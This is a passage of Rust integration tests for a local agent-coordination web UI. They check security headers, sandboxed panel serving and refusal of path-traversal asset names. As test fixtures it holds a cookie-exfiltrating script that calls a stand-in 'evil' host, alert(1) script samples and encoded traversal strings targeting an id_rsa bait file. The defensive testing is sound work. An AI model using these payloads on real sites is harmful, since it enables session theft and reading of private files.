7933            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7934            Self { home, addr }
7935        }
7936
7937        async fn serve(
7938            home: &FsPath,
7939            repo: PathBuf,
7940            launch: Launch,
7941            machine: Option<PathBuf>,
7942        ) -> SocketAddr {
7943            let queue = Queue::at(home.join("queue"));
7944            let runs = home.join("runs");
7945            std::fs::create_dir_all(&runs).expect("runs dir");
7946            let worktrees = home.join("wt").join("magi");
7947            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7948            let ui = Ui::new(
7949                queue,
7950                Questions::at(home.join("questions")),
7951                Talks::at(home.join("talks")),
7952                runs,
7953                home.to_path_buf(),
7954                repo,
7955            )
7956            .with_worktrees_root(worktrees)
7957            .with_machine_config(machine)
7958            .with_launch(launch);
7959            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7960                .await
7961                .expect("bind loopback");
7962            let addr = listener.local_addr().expect("local addr");
7963            tokio::spawn(async move {
7964                let _ = axum::serve(listener, ui.router()).await;
7965            });
7966            addr
7967        }
7968
7969        fn queue(&self) -> Queue {
7970            Queue::at(self.home.path().join("queue"))
7971        }
7972
7973        fn questions(&self) -> Questions {
7974            Questions::at(self.home.path().join("questions"))
7975        }
7976
7977        fn talks(&self) -> Talks {
7978            Talks::at(self.home.path().join("talks"))
7979        }
7980
7981        fn runs(&self) -> PathBuf {
7982            self.home.path().join("runs")
7983        }
7984
7985        async fn get(&self, path: &str) -> Res {
7986            request(self.addr, "GET", path, None).await
7987        }
7988
7989        /// The status and headers without the body, which is how the front end
7990        /// preflights a panel: a sandboxed frame is opaque to the parent
7991        /// document, so the only way to tell "no panel" from "a panel that
7992        /// rendered blank" is to ask before mounting.
7993        async fn head(&self, path: &str) -> Res {
7994            request(self.addr, "HEAD", path, None).await
7995        }
7996
7997        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7998            request(self.addr, "POST", path, body).await
7999        }
8000
8001        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8002            request_with(self.addr, "GET", path, None, extra).await
8003        }
8004
8005        async fn delete(&self, path: &str) -> Res {
8006            request(self.addr, "DELETE", path, None).await
8007        }
8008
8009        async fn put(&self, path: &str, body: &str) -> Res {
8010            request(self.addr, "PUT", path, Some(body)).await
8011        }
8012
8013        /// `POST` a raw body with its own headers - see [`request_bytes`].
8014        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8015            request_bytes(self.addr, path, headers, body).await
8016        }
8017    }
8018
8019    struct Res {
8020        status: u16,
8021        headers: String,
8022        /// The header block with its original casing, for the assertions that
8023        /// compare a header *value* rather than looking for a name. Lowercasing
8024        /// a CSP would hide a directive spelled with a capital letter, and the
8025        /// whole point of that test is that the string is exactly right.
8026        head: String,
8027        body: String,
8028        /// The body before any UTF-8 handling, for the routes that serve
8029        /// something other than text. A panel asset is a PNG as often as not,
8030        /// and `from_utf8_lossy` would silently replace half of it.
8031        bytes: Vec<u8>,
8032    }
8033
8034    impl Res {
8035        fn json(&self) -> Value {
8036            serde_json::from_str(&self.body)
8037                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8038        }
8039
8040        /// One header's value verbatim, or `None` when it was not sent.
8041        fn header(&self, name: &str) -> Option<&str> {
8042            self.head.lines().find_map(|line| {
8043                let (key, value) = line.split_once(':')?;
8044                key.trim()
8045                    .eq_ignore_ascii_case(name)
8046                    .then(|| value.trim_start().trim_end_matches('\r'))
8047            })
8048        }
8049    }
8050
8051    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
8052    /// be read to end-of-stream without parsing framing.
8053    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8054        request_with(addr, method, path, body, &[]).await
8055    }
8056
8057    /// As [`request`], with extra request headers - conditional GETs need
8058    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
8059    /// worse than one that sets none.
8060    async fn request_with(
8061        addr: SocketAddr,
8062        method: &str,
8063        path: &str,
8064        body: Option<&str>,
8065        extra: &[(&str, &str)],
8066    ) -> Res {
8067        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8068        for (name, value) in extra {
8069            head.push_str(&format!("{name}: {value}\r\n"));
8070        }
8071        if let Some(body) = body {
8072            head.push_str("Content-Type: application/json\r\n");
8073            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8074        }
8075        head.push_str("\r\n");
8076        if let Some(body) = body {
8077            head.push_str(body);
8078        }
8079        let mut socket = tokio::net::TcpStream::connect(addr)
8080            .await
8081            .expect("connect to the test server");
8082        socket
8083            .write_all(head.as_bytes())
8084            .await
8085            .expect("write request");
8086        let mut raw = Vec::new();
8087        socket.read_to_end(&mut raw).await.expect("read response");
8088        // Split on the raw bytes rather than on a lossy string, so a binary
8089        // body survives to be compared byte for byte.
8090        let split = raw
8091            .windows(4)
8092            .position(|w| w == b"\r\n\r\n")
8093            .expect("a header block");
8094        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8095        let bytes = raw[split + 4..].to_vec();
8096        let status = head
8097            .lines()
8098            .next()
8099            .and_then(|line| line.split_whitespace().nth(1))
8100            .and_then(|code| code.parse().ok())
8101            .expect("a status line");
8102        Res {
8103            status,
8104            headers: head.to_lowercase(),
8105            head,
8106            body: String::from_utf8_lossy(&bytes).into_owned(),
8107            bytes,
8108        }
8109    }
8110
8111    /// A `POST` carrying a raw binary body and its own headers, for the
8112    /// attachment upload route - `request_with` only ever sends
8113    /// `Content-Type: application/json`, which is wrong for an image and
8114    /// would corrupt anything not valid UTF-8 by round-tripping it through
8115    /// `&str` first.
8116    async fn request_bytes(
8117        addr: SocketAddr,
8118        path: &str,
8119        headers: &[(&str, &str)],
8120        body: &[u8],
8121    ) -> Res {
8122        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8123        for (name, value) in headers {
8124            head.push_str(&format!("{name}: {value}\r\n"));
8125        }
8126        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8127        let mut socket = tokio::net::TcpStream::connect(addr)
8128            .await
8129            .expect("connect to the test server");
8130        socket
8131            .write_all(head.as_bytes())
8132            .await
8133            .expect("write request head");
8134        socket.write_all(body).await.expect("write request body");
8135        let mut raw = Vec::new();
8136        socket.read_to_end(&mut raw).await.expect("read response");
8137        let split = raw
8138            .windows(4)
8139            .position(|w| w == b"\r\n\r\n")
8140            .expect("a header block");
8141        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8142        let bytes = raw[split + 4..].to_vec();
8143        let status = head
8144            .lines()
8145            .next()
8146            .and_then(|line| line.split_whitespace().nth(1))
8147            .and_then(|code| code.parse().ok())
8148            .expect("a status line");
8149        Res {
8150            status,
8151            headers: head.to_lowercase(),
8152            head,
8153            body: String::from_utf8_lossy(&bytes).into_owned(),
8154            bytes,
8155        }
8156    }
8157
8158    /// A run on disk, without touching the process-global magi home.
8159    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8160        let mut state = RunState::new(
8161            PathBuf::from("/repo/magi"),
8162            "main".to_owned(),
8163            "0123456789abcdef".to_owned(),
8164            "Add a web UI\n\nMobile first.".to_owned(),
8165            Config::default(),
8166        );
8167        state.id = id.to_owned();
8168        state.status = status;
8169        let dir = runs.join(id);
8170        std::fs::create_dir_all(&dir).expect("run dir");
8171        std::fs::write(
8172            dir.join("run.json"),
8173            serde_json::to_string_pretty(&state).expect("serialize run"),
8174        )
8175        .expect("write run.json");
8176    }
8177
8178    /// Same as [`write_run`], but against a named repository rather than the
8179    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
8180    /// spread across more than one.
8181    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8182        let mut state = RunState::new(
8183            PathBuf::from(repo),
8184            "main".to_owned(),
8185            "0123456789abcdef".to_owned(),
8186            "task".to_owned(),
8187            Config::default(),
8188        );
8189        state.id = id.to_owned();
8190        state.status = status;
8191        let dir = runs.join(id);
8192        std::fs::create_dir_all(&dir).expect("run dir");
8193        std::fs::write(
8194            dir.join("run.json"),
8195            serde_json::to_string_pretty(&state).expect("serialize run"),
8196        )
8197        .expect("write run.json");
8198    }
8199
8200    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8201        let body = serde_json::json!({
8202            "schema": 1,
8203            "pid": 4242,
8204            "started_at": Timestamp::now().to_string(),
8205            "updated_at": updated_at.to_string(),
8206            "idle": false,
8207            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8208            "completed": 7,
8209            "polls": 143,
8210        });
8211        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8212    }
8213
8214    /// A loop that starts, finds nothing to do, and waits to be told to stop.
8215    ///
8216    /// No test in this file may start the real loop - see [`Ui::launch`] for
8217    /// why - so this stands in for the only thing the routes need a loop to
8218    /// do: keep running until `Stop` is set, then return. A real
8219    /// `serve_until` here would resolve its queue and its status file through
8220    /// the process-global magi home, claim whatever it found in the
8221    /// operator's live backlog, overwrite the status file of the `magi serve`
8222    /// that owns it, and spend real agent quota on a real competition.
8223    fn launch_idle(
8224        _opts: daemon::Opts,
8225        stop: daemon::Stop,
8226    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8227        Box::pin(async move {
8228            while !stop.stopped() {
8229                tokio::time::sleep(Duration::from_millis(2)).await;
8230            }
8231            Ok(())
8232        })
8233    }
8234
8235    /// A loop that fails on the way up, the way one whose home has gone
8236    /// read-only does.
8237    fn launch_broken(
8238        _opts: daemon::Opts,
8239        _stop: daemon::Stop,
8240    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8241        // The stand-in dies instantly, so a restarted one can record its own
8242        // failure before the start's response is read. The second attempt
8243        // therefore fails with a different message, to tell a stale error
8244        // from a fresh one.
8245        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8246        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8247        Box::pin(async move {
8248            Err(anyhow::anyhow!(if first {
8249                "publish the daemon status file: read-only file system"
8250            } else {
8251                "the restarted stand-in failed as well"
8252            }))
8253        })
8254    }
8255
8256    /// The address the parking loop knocks on, and what it heard there.
8257    ///
8258    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
8259    /// capture a fixture's address; this is how it is handed one. Only
8260    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
8261    /// these, so nothing else in this binary can race them.
8262    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8263    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8264
8265    /// A loop that, once it is asked to stop, checks the deck still answers
8266    /// before it goes.
8267    ///
8268    /// It stands in for a run mid-node: `finish_loop` waits for this future,
8269    /// so the request it makes is strictly inside the park window - no sleep
8270    /// and no polling needed to be sure of that.
8271    fn launch_knocking_on_the_way_out(
8272        _opts: daemon::Opts,
8273        stop: daemon::Stop,
8274    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8275        Box::pin(async move {
8276            while !stop.stopped() {
8277                tokio::time::sleep(Duration::from_millis(2)).await;
8278            }
8279            let addr = PARK_KNOCK
8280                .lock()
8281                .expect("park knock")
8282                .expect("the test set an address");
8283            let heard = request(addr, "GET", "/api/health", None).await.status;
8284            *PARK_HEARD.lock().expect("park heard") = Some(heard);
8285            Ok(())
8286        })
8287    }
8288
8289    /// The loop view once `want` accepts it.
8290    ///
8291    /// Polled rather than asserted straight after the POST because stopping
8292    /// is deliberately not instant - that is the contract - and rather than
8293    /// slept through because a fixed wait is either flaky or slow.
8294    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
8295    /// finite, so a genuine hang fails the test instead of hanging the
8296    /// suite.
8297    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8298        for _ in 0..SETTLE_STEPS {
8299            let view = fx.get("/api/loop").await.json();
8300            if want(&view) {
8301                return view;
8302            }
8303            tokio::time::sleep(Duration::from_millis(10)).await;
8304        }
8305        panic!(
8306            "the loop never settled: {}",
8307            fx.get("/api/loop").await.json()
8308        );
8309    }
8310
8311    /// File an open question directly in the store the server reads.
8312    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8313        let store = fx.questions();
8314        let mut q = Question::new(
8315            "20260902-000000-beef".to_owned(),
8316            "implement".to_owned(),
8317            "impl-A".to_owned(),
8318            summary.to_owned(),
8319            "because it matters".to_owned(),
8320            choices.iter().map(|c| (*c).to_owned()).collect(),
8321        );
8322        store.put(&mut q).expect("put question");
8323        q.id
8324    }
8325
8326    /// A question with a panel the server can serve, plus the named assets.
8327    ///
8328    /// Written through `Questions::put_panel` rather than by laying out the
8329    /// directory here, so these tests exercise the same on-disk shape the
8330    /// agents produce and cannot pass against a layout only the tests know.
8331    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8332        let store = fx.questions();
8333        let mut q = Question::new(
8334            "20260902-000000-beef".to_owned(),
8335            "land".to_owned(),
8336            "fix".to_owned(),
8337            "Merge this?".to_owned(),
8338            "the diff is in the panel".to_owned(),
8339            vec!["merge".to_owned(), "hold".to_owned()],
8340        );
8341        // Staged outside the questions root, because `put_panel` copies from
8342        // wherever the agent left its files.
8343        let staging = fx.home.path().join("staging");
8344        std::fs::create_dir_all(&staging).expect("staging dir");
8345        let sources: Vec<PathBuf> = assets
8346            .iter()
8347            .map(|(name, bytes)| {
8348                let path = staging.join(name);
8349                std::fs::write(&path, bytes).expect("write staged asset");
8350                path
8351            })
8352            .collect();
8353        store
8354            .put_panel(&mut q, html, &sources)
8355            .expect("write the panel");
8356        store.put(&mut q).expect("put question");
8357        q.id
8358    }
8359
8360    /// A talk on disk, without talking to a model.
8361    ///
8362    /// Written as JSON straight into the store the server reads, because the
8363    /// only constructor `talk::begin` offers takes no turn but still requires
8364    /// a real caller-visible flow. The one thing this cannot make up is the
8365    /// seat, so it is built with the real `SeatState::new` and serialized -
8366    /// the alternative, hand-writing that object, would make these tests fail
8367    /// the day the seat gains a field.
8368    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8369        seed_talk_at(&fx.talks(), id, status)
8370    }
8371
8372    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8373        std::fs::create_dir_all(store.root()).expect("talks dir");
8374        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8375            .expect("serialize a seat");
8376        let body = serde_json::json!({
8377            "schema": 1,
8378            "id": id,
8379            "repo": "/repo/magi",
8380            "agent": "mock",
8381            "status": status,
8382            "turns": [],
8383            "created_at": Timestamp::now().to_string(),
8384            "updated_at": Timestamp::now().to_string(),
8385            "seat": seat,
8386        });
8387        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8388        store.get(id).expect("the seeded talk has to be readable");
8389        id.to_owned()
8390    }
8391
8392    #[tokio::test]
8393    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8394        let fx = Fixture::start().await;
8395        let id = panel(
8396            &fx,
8397            "<h1>Merge?</h1><img src=\"diff.svg\">",
8398            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8399        );
8400
8401        for path in [
8402            format!("/api/questions/{id}/panel"),
8403            format!("/api/questions/{id}/asset/diff.svg"),
8404        ] {
8405            let res = fx.get(&path).await;
8406            assert_eq!(res.status, 200, "{path}: {}", res.body);
8407            // The whole string, not a substring. A weakened directive - an
8408            // `img-src *` that lets a panel beacon out to a remote host, a
8409            // `script-src` anything, a missing `form-action` that lets it post
8410            // the owner's decision to a third party - has to fail here, and a
8411            // `contains` assertion would let every one of those through.
8412            assert_eq!(
8413                res.header("content-security-policy"),
8414                Some(
8415                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8416                     font-src data:; base-uri 'none'; form-action 'none'; \
8417                     frame-ancestors 'self'"
8418                ),
8419                "{path} is the only thing between a hostile panel and the tailnet"
8420            );
8421            assert_eq!(
8422                res.header("x-content-type-options"),
8423                Some("nosniff"),
8424                "{path}: a browser must not re-decide the type we sent"
8425            );
8426            assert_eq!(
8427                res.header("referrer-policy"),
8428                Some("no-referrer"),
8429                "{path}: a panel must not leak the question id off the machine"
8430            );
8431
8432            // The front end mounts the frame only after a `HEAD` says the
8433            // panel is there, so `HEAD` has to answer with the same status and
8434            // the same policy as `GET` - a preflight that came back without
8435            // the CSP would mean a frame mounted on an unverified promise.
8436            let pre = fx.head(&path).await;
8437            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8438            assert_eq!(
8439                pre.header("content-security-policy"),
8440                res.header("content-security-policy"),
8441                "{path}: the preflight carries the same policy"
8442            );
8443            assert_eq!(
8444                pre.header("content-type"),
8445                res.header("content-type"),
8446                "{path}: the preflight carries the same type"
8447            );
8448        }
8449    }
8450
8451    #[tokio::test]
8452    async fn a_panel_reaches_the_browser_byte_for_byte() {
8453        let fx = Fixture::start().await;
8454        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8455        // tag, an entity, and a multi-byte character. The sandbox is what makes
8456        // this safe, so nothing here may be rewritten on the way out - a
8457        // rewritten diff is a diff the owner cannot trust.
8458        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8459        let id = panel(&fx, html, &[]);
8460
8461        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8462
8463        assert_eq!(res.status, 200);
8464        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8465        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8466        assert_eq!(
8467            res.header("content-disposition"),
8468            None,
8469            "the panel itself is rendered in the frame, not downloaded"
8470        );
8471    }
8472
8473    #[tokio::test]
8474    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8475        let fx = Fixture::start().await;
8476        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8477        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8478        let id = panel(
8479            &fx,
8480            "<img src=\"diff.svg\"><img src=\"shot.png\">",
8481            &[("diff.svg", svg), ("shot.png", png)],
8482        );
8483
8484        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8485        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8486
8487        assert_eq!(as_svg.status, 200);
8488        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8489        // An SVG is XML that may carry script. Inside the panel it is an
8490        // `<img src>` and the script cannot run; opened at the top level it
8491        // would be a document on magi's own origin, so the browser is told to
8492        // download it instead of rendering it.
8493        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8494
8495        assert_eq!(as_png.status, 200);
8496        assert_eq!(as_png.header("content-type"), Some("image/png"));
8497        assert_eq!(
8498            as_png.header("content-disposition"),
8499            None,
8500            "a raster image has no execution surface, so tapping it still shows it"
8501        );
8502        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8503    }
8504
8505    #[tokio::test]
8506    async fn an_html_asset_is_never_served_as_html() {
8507        let fx = Fixture::start().await;
8508        let id = panel(
8509            &fx,
8510            "<p>see the notes</p>",
8511            &[
8512                (
8513                    "notes.html",
8514                    b"<script>fetch('http://evil/'+document.cookie)</script>",
8515                ),
8516                ("hook.js", b"fetch('http://evil/')"),
8517                ("data.json", b"{}"),
8518                ("HEADLINE.TXT", b"plain"),
8519            ],
8520        );
8521
8522        for name in ["notes.html", "hook.js", "data.json"] {
8523            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8524            assert_eq!(res.status, 200, "{name}: {}", res.body);
8525            // Serving this as text/html would be a way to reach agent markup
8526            // at the top level of the operator's browser, outside the frame's
8527            // sandbox and outside its CSP - which is the whole thing the panel
8528            // design exists to prevent. Unlisted types are downloads.
8529            assert_eq!(
8530                res.header("content-type"),
8531                Some("application/octet-stream"),
8532                "{name} must not be a type the browser will execute or render"
8533            );
8534        }
8535        // The whitelist is matched case-insensitively, so an agent shouting the
8536        // extension still gets a readable file rather than a download.
8537        let txt = fx
8538            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8539            .await;
8540        assert_eq!(
8541            txt.header("content-type"),
8542            Some("text/plain; charset=utf-8")
8543        );
8544    }
8545
8546    #[tokio::test]
8547    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8548        let fx = Fixture::start().await;
8549        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8550        // Something outside the panel directory that a traversal would reach if
8551        // one got through, so a passing test is not merely "the file was
8552        // missing anyway".
8553        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8554
8555        // Decoded before this server's handler sees them: axum percent-decodes
8556        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
8557        // string with a NUL in it. All three look like ordinary single-segment
8558        // filenames to the router, so the router passes them through and
8559        // `valid_asset_name` is what refuses them - for the literal `..`, and
8560        // for `/`, `\` and NUL not being in the permitted character set.
8561        for encoded in [
8562            "%2e%2e%2fid_rsa",
8563            "..%2fid_rsa",
8564            "..%5cid_rsa",
8565            "%2e%2e%5cid_rsa",
8566            "diff%00.svg",
8567            "..",
8568            ".hidden",
8569            "%2e%2e%2f%2e%2e%2fid_rsa",
8570        ] {
8571            let res = fx
8572                .get(&format!("/api/questions/{id}/asset/{encoded}"))
8573                .await;
8574            assert_eq!(
8575                res.status, 400,
8576                "`{encoded}` has to be refused by name, not looked up: {}",
8577                res.body
8578            );
8579            assert!(res.json()["error"].is_string(), "{}", res.body);
8580        }
8581
8582        // Not decoded, and never this handler's problem: a real slash makes the
8583        // request one segment too long for `/api/questions/{id}/asset/{name}`,
8584        // so axum's router has no route to match and answers before any code
8585        // here runs. Asserted so that a future route with a wildcard segment
8586        // cannot quietly open this door.
8587        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8588            let res = fx
8589                .get(&format!("/api/questions/{id}/asset/{literal}"))
8590                .await;
8591            assert_eq!(
8592                res.status, 404,
8593                "`{literal}` must not match the asset route at all: {}",
8594                res.body
8595            );
8596        }
8597    }
8598
8599    #[tokio::test]
8600    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8601        let fx = Fixture::start().await;
8602        let plain = ask(&fx, "Which backend?", &["SQLite"]);
8603        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8604
8605        // A question nobody wrote a panel for. The client preflights with HEAD
8606        // and cannot see inside a sandboxed frame, so this must be a status and
8607        // not an empty page.
8608        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8609        assert_eq!(none.status, 404, "{}", none.body);
8610        assert!(none.json()["error"].is_string(), "{}", none.body);
8611        assert_eq!(
8612            fx.head(&format!("/api/questions/{plain}/panel"))
8613                .await
8614                .status,
8615            404,
8616            "the preflight is the only way the client can learn this"
8617        );
8618
8619        // A name that is perfectly legal and simply is not there.
8620        let missing = fx
8621            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8622            .await;
8623        assert_eq!(missing.status, 404, "{}", missing.body);
8624        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8625
8626        // A question that does not exist at all, on both routes.
8627        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8628        assert_eq!(
8629            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8630            404
8631        );
8632    }
8633
8634    #[tokio::test]
8635    async fn a_run_with_an_open_question_reads_as_waiting() {
8636        let fx = Fixture::start().await;
8637        let run = "20260902-000000-beef".to_owned();
8638        write_run(&fx.runs(), &run, RunStatus::Implementing);
8639
8640        let before = fx.get("/api/runs").await.json();
8641        assert_eq!(before[0]["waiting"], false, "{before}");
8642
8643        let store = fx.questions();
8644        let mut q = Question::new(
8645            run.clone(),
8646            "implement".to_owned(),
8647            "impl-A".to_owned(),
8648            "Which backend?".to_owned(),
8649            String::new(),
8650            vec!["SQLite".to_owned()],
8651        );
8652        store.put(&mut q).expect("put");
8653
8654        let during = fx.get("/api/runs").await.json();
8655        assert_eq!(during[0]["waiting"], true, "{during}");
8656
8657        // Answered: the run is moving again, and the flag has to follow without
8658        // anything having rewritten run.json.
8659        q.answer(Answer::Choice("SQLite".to_owned()))
8660            .expect("answer");
8661        store.put(&mut q).expect("put");
8662        let after = fx.get("/api/runs").await.json();
8663        assert_eq!(after[0]["waiting"], false, "{after}");
8664    }
8665
8666    #[tokio::test]
8667    async fn an_open_question_is_listed_and_counted_by_health() {
8668        let fx = Fixture::start().await;
8669        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8670
8671        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8672        let listed = fx.get("/api/questions").await.json();
8673        assert_eq!(listed.as_array().expect("array").len(), 1);
8674        assert_eq!(listed[0]["id"], id);
8675        assert_eq!(listed[0]["status"], "open");
8676        assert_eq!(listed[0]["choices"][1], "Redis");
8677        // The count is what makes the phone's indicator honest: it is the one
8678        // number meaning nothing will move until a human acts.
8679        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8680    }
8681
8682    #[tokio::test]
8683    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8684        let fx = Fixture::start().await;
8685        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8686        let path = format!("/api/questions/{id}/answer");
8687
8688        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8689        assert_eq!(res.status, 200, "{}", res.body);
8690        let body = res.json();
8691        assert_eq!(body["status"], "answered");
8692        assert_eq!(body["answer"]["choice"], "Redis");
8693
8694        // Answered from the terminal in between the list and the tap: the UI
8695        // must be able to tell this from a bad request, so it can show the
8696        // recorded answer instead of an error.
8697        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8698        assert_eq!(again.status, 409, "{}", again.body);
8699        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8700    }
8701
8702    #[tokio::test]
8703    async fn saying_something_appends_a_turn_without_answering() {
8704        let fx = Fixture::start().await;
8705        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8706        let path = format!("/api/questions/{id}/say");
8707
8708        let res = fx
8709            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8710            .await;
8711        assert_eq!(res.status, 200, "{}", res.body);
8712        let body = res.json();
8713        assert_eq!(body["status"], "open", "talking back is not a decision");
8714        assert_eq!(body["answer"], Value::Null);
8715        assert_eq!(body["thread"][0]["who"], "operator");
8716        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8717        assert_eq!(body["waiting_on_agent"], true);
8718        // Still open, still counted, still exactly one question.
8719        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8720    }
8721
8722    #[tokio::test]
8723    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8724        let fx = Fixture::start().await;
8725        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8726
8727        let list = fx.get("/api/questions").await.json();
8728        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8729
8730        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8731        assert_eq!(res.status, 409, "{}", res.body);
8732        let q = fx.questions().get(&id).unwrap();
8733        assert!(q.status.open());
8734        assert!(q.consult.is_none());
8735    }
8736
8737    #[tokio::test]
8738    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8739        let fx = Fixture::start().await;
8740        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8741        let cfg = Config {
8742            agents: vec![crate::config::AgentSpec {
8743                id: "mock".to_owned(),
8744                kind: crate::config::AgentKind::Command,
8745                model: None,
8746                command: vec!["true".to_owned()],
8747                extra_args: Vec::new(),
8748                env: Default::default(),
8749                prompt_delivery: None,
8750            }],
8751            ..Config::default()
8752        };
8753        let talk = crate::talk::begin(
8754            &fx.talks(),
8755            &cfg,
8756            fx.home.path().to_path_buf(),
8757            Some("mock"),
8758        )
8759        .unwrap();
8760        let mut task = Task::new(
8761            "t".to_owned(),
8762            "Do it".to_owned(),
8763            PathBuf::from("/repo/magi"),
8764            Source::Agent {
8765                run: talk.id.clone(),
8766                node: crate::queue::CHAT_NODE.to_owned(),
8767            },
8768        );
8769        task.start("20260902-000000-beef".to_owned());
8770        fx.queue().put(&mut task).unwrap();
8771
8772        let list = fx.get("/api/questions").await.json();
8773        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8774        assert_eq!(
8775            list[0]["choices"],
8776            serde_json::json!(["SQLite", "Redis"]),
8777            "the hand-over is never a choice"
8778        );
8779        fx.questions()
8780            .update(&id, |q| {
8781                q.node = crate::land::APPROVAL_NODE.into();
8782                q.choices = vec!["merge".into(), "hold".into()];
8783                Ok(())
8784            })
8785            .unwrap();
8786        let list = fx.get("/api/questions").await.json();
8787        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8788        let _ = id;
8789    }
8790
8791    #[tokio::test]
8792    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8793        let fx = Fixture::start().await;
8794        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8795        fx.questions()
8796            .update(&id, |q| {
8797                q.node = crate::land::APPROVAL_NODE.into();
8798                q.choices = vec!["merge".into(), "hold".into()];
8799                Ok(())
8800            })
8801            .unwrap();
8802        let cfg = Config {
8803            agents: vec![crate::config::AgentSpec {
8804                id: "mock".to_owned(),
8805                kind: crate::config::AgentKind::Command,
8806                model: None,
8807                command: vec!["true".to_owned()],
8808                extra_args: Vec::new(),
8809                env: Default::default(),
